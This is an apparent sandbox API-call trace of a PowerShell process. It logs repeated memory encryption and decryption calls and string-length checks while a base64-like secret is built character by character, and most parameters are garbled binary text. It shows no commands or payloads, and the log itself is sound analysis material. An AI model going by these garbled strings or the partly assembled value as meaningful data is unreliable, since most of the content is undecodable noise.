0x18 [0257.255] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.255] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ಓꭣ⢞ἥ죷ၩ⋉) returned 0x18 [0257.255] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ಓꭣ⢞ἥ죷ၩ⋉) returned 0x18 [0257.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.255] SysStringLen (param_1="pLfDQxDc2V6AQwly8E䘧ꭘ⻁耷㳽帘") returned 0x18 [0257.255] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.255] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ޓ쀓㽳￿웶⊪⊺) returned 0x18 [0257.255] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ޓ쀓㽳￿웶⊪⊺) returned 0x18 [0257.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.255] SysStringLen (param_1="pLfDQxDc2V6AQwly8Etꭘ⻁耷㳽帘") returned 0x18 [0257.256] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.256] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏瞓풢뿼ከ蠉幄텣⊌) returned 0x18 [0257.256] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏瞓풢뿼ከ蠉幄텣⊌) returned 0x18 [0257.256] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.256] SysStringLen (param_1="pLfDQxDc2V6AQwly8Etl⻁耷㳽帘") returned 0x18 [0257.256] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.256] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ﾓꭐꓴ猽㼥筃핪∙) returned 0x18 [0257.256] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ﾓꭐꓴ猽㼥筃핪∙) returned 0x18 [0257.256] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.256] SysStringLen (param_1="pLfDQxDc2V6AQwly8Etla耷㳽帘") returned 0x18 [0257.256] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.256] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ẓ住뭍๰⳴逍䘝࠱≤) returned 0x18 [0257.256] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏ẓ住뭍๰⳴逍䘝࠱≤) returned 0x18 [0257.256] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.257] SysStringLen (param_1="pLfDQxDc2V6AQwly8Etlai㳽帘") returned 0x18 [0257.257] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.257] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏䦓ᨿ꥞ʶ⼾㭼〵\菙") returned 0x18 [0257.257] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏䦓ᨿ꥞ʶ⼾㭼〵\菙") returned 0x18 [0257.257] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.257] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiD帘") returned 0x18 [0257.257] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.257] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏횓ᩌ♃荱ꮆ籖⬹㧢≭) returned 0x18 [0257.257] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏횓ᩌ♃荱ꮆ籖⬹㧢≭) returned 0x18 [0257.257] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.257] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDo") returned 0x18 [0257.257] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.257] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺∦) returned 0x18 [0257.258] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺∦) returned 0x18 [0257.258] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺∦) returned 0x18 [0257.258] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺∦) returned 0x20 [0257.258] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.258] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoy㣿堼ｓ槱闲䤄") returned 0x20 [0257.258] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.258] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺朦і഼鼪\瓞潄ᪿᄢ") returned 0x20 [0257.258] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺朦і഼鼪\瓞潄ᪿᄢ") returned 0x20 [0257.258] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.259] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS堼ｓ槱闲䤄") returned 0x20 [0257.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.259] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺\蘩Ὀ벡昛⳪䕶꬙") returned 0x20 [0257.259] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺\蘩Ὀ벡昛⳪䕶꬙") returned 0x20 [0257.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.259] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8ｓ槱闲䤄") returned 0x20 [0257.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.259] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺㌦䏬቞뎵뽠⋘) returned 0x20 [0257.259] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺㌦䏬቞뎵뽠⋘) returned 0x20 [0257.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.259] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8X槱闲䤄") returned 0x20 [0257.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.259] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺ᐦ┮躥㔈罷㰹旫᥋∮) returned 0x20 [0257.260] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺ᐦ┮躥㔈罷㰹旫᥋∮) returned 0x20 [0257.260] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.260] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XI闲䤄") returned 0x20 [0257.260] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.260] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺☦\ꃝ⬇⣥謿\臞㻦≳) returned 0x20 [0257.260] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺☦\ꃝ⬇⣥謿\臞㻦≳) returned 0x20 [0257.260] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.260] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIa䤄") returned 0x20 [0257.260] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.260] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺찦걨먽῍嘗뜡․甐∸) returned 0x20 [0257.260] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺찦걨먽῍嘗뜡․甐∸) returned 0x20 [0257.260] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.260] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIap") returned 0x20 [0257.261] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.261] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺搦਀䦝㰪텳㐱炐∙) returned 0x20 [0257.261] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺搦਀䦝㰪텳㐱炐∙) returned 0x20 [0257.261] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.261] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapa") returned 0x20 [0257.261] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.261] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ⋯) returned 0x20 [0257.261] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ⋯) returned 0x20 [0257.261] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ⋯) returned 0x20 [0257.262] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ⋯) returned 0x28 [0257.262] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.262] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapaw囱뀩瞵䋢∭") returned 0x28 [0257.262] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.262] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ껯Ɜ᫋૫埙㥪홠㡋≼) returned 0x28 [0257.262] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ껯Ɜ᫋૫埙㥪홠㡋≼) returned 0x28 [0257.262] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.262] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawP뀩瞵䋢∭") returned 0x28 [0257.262] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.262] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ﷯踞艚ⴛ䈵꟡다⾁∹) returned 0x28 [0257.262] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ﷯踞艚ⴛ䈵꟡다⾁∹) returned 0x28 [0257.262] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.262] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPx瞵䋢∭") returned 0x28 [0257.263] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.263] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ寯赉墔ﲱ퟉6렸⊓) returned 0x28 [0257.263] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ寯赉墔ﲱ퟉6렸⊓) returned 0x28 [0257.263] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.263] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxE䋢∭") returned 0x28 [0257.263] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.263] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ蟋큎嚂꩖븸뇑褞⋃) returned 0x28 [0257.263] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ蟋큎嚂꩖븸뇑褞⋃) returned 0x28 [0257.263] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.263] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEa䋢∭") returned 0x28 [0257.263] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.263] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ퓯窘慼붉\㫘⺑⤃魰") returned 0x28 [0257.264] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ퓯窘慼붉\㫘⺑⤃魰") returned 0x28 [0257.264] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.264] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEaq䋢∭") returned 0x28 [0257.264] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.264] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ췯ᐷ\뇞ⵀ㺊⦸쾟鄶") returned 0x28 [0257.264] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ췯ᐷ\뇞ⵀ㺊⦸쾟鄶") returned 0x28 [0257.264] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.264] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEaqz∭") returned 0x28 [0257.264] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.264] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ緯줖㭰㉣狏ȵ붑崡⋋) returned 0x28 [0257.264] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ緯줖㭰㉣狏ȵ붑崡⋋) returned 0x28 [0257.264] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.264] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEaqzD") returned 0x28 [0257.265] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.265] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා⋂) returned 0x28 [0257.265] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා⋂) returned 0x28 [0257.265] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා⋂) returned 0x28 [0257.265] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා⋂) returned 0x30 [0257.266] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.266] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEaqzDg닒ᄽἷﱈﺮ벧༶") returned 0x30 [0257.266] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.266] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා郂꟒⏣࠹尮칛吐≇) returned 0x30 [0257.266] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා郂꟒⏣࠹尮칛吐≇) returned 0x30 [0257.266] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.266] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEaqzDgqᄽἷﱈﺮ벧༶") returned 0x30 [0257.266] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.266] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා⟂䅈ﱦ봷豹個∞) returned 0x30 [0257.266] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා⟂䅈ﱦ봷豹個∞) returned 0x30 [0257.266] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.266] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEaqzDgqsἷﱈﺮ벧༶") returned 0x30 [0257.266] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.267] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා엂ꎫ䛟逸䙕吶⡁킷⊍) returned 0x30 [0257.267] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා엂ꎫ䛟逸䙕吶⡁킷⊍) returned 0x30 [0257.267] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.267] SysStringLen (param_1="pLfDQxDc2V6AQwly8EtlaiDoyS8XIapawPxEaqzDgqs=ﱈﺮ벧༶") returned 0x30 [0257.267] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0257.267] EtwEventActivityIdControl () returned 0x0 [0257.267] EtwEventActivityIdControl () returned 0x0 [0257.267] EtwEventActivityIdControl () returned 0x0 [0257.268] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.268] EtwEventActivityIdControl () returned 0x0 [0257.268] EtwEventActivityIdControl () returned 0x0 [0257.268] EtwEventActivityIdControl () returned 0x0 [0257.269] SysStringLen (param_1="") returned 0x8 [0257.269] SysStringLen (param_1="N") returned 0x8 [0257.269] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.269] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.269] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.269] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.269] SysStringLen (param_1="ND") returned 0x8 [0257.269] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.269] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0257.269] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0257.269] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.270] SysStringLen (param_1="NDZ") returned 0x8 [0257.270] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.270] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0257.270] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0257.270] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.270] SysStringLen (param_1="NDZl") returned 0x8 [0257.270] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.270] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0257.270] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0257.270] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.270] SysStringLen (param_1="NDZlO") returned 0x8 [0257.270] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.271] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0257.271] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0257.271] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.271] SysStringLen (param_1="NDZlOD") returned 0x8 [0257.271] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.271] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0257.271] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0257.271] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.271] SysStringLen (param_1="NDZlODR") returned 0x8 [0257.271] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.271] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0257.271] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0257.271] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.272] SysStringLen (param_1="NDZlODRm") returned 0x8 [0257.272] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0257.273] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.273] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0257.273] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0257.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0257.273] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: 